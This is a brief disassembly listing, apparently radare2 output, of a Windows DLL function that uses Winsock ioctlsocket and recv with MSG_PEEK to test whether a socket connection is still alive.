je 0x100271fd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp + 0x14]
push eax
mov esi, 0x8004667e
push esi
push dword [ebp + 8]
xor edi, edi
inc edi
mov dword [ebp + 0x14], edi
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x10027278
push 2
push edi
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
mov edi, eax
cmp edi, 0xffffffff
jne 0x100272c2
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x100272c2
xor edi, edi
lea eax, [ebp + 0x14]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp + 0x14], ebx
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x10027278
cmp edi, ebx
setne al
jmp 0x1002727a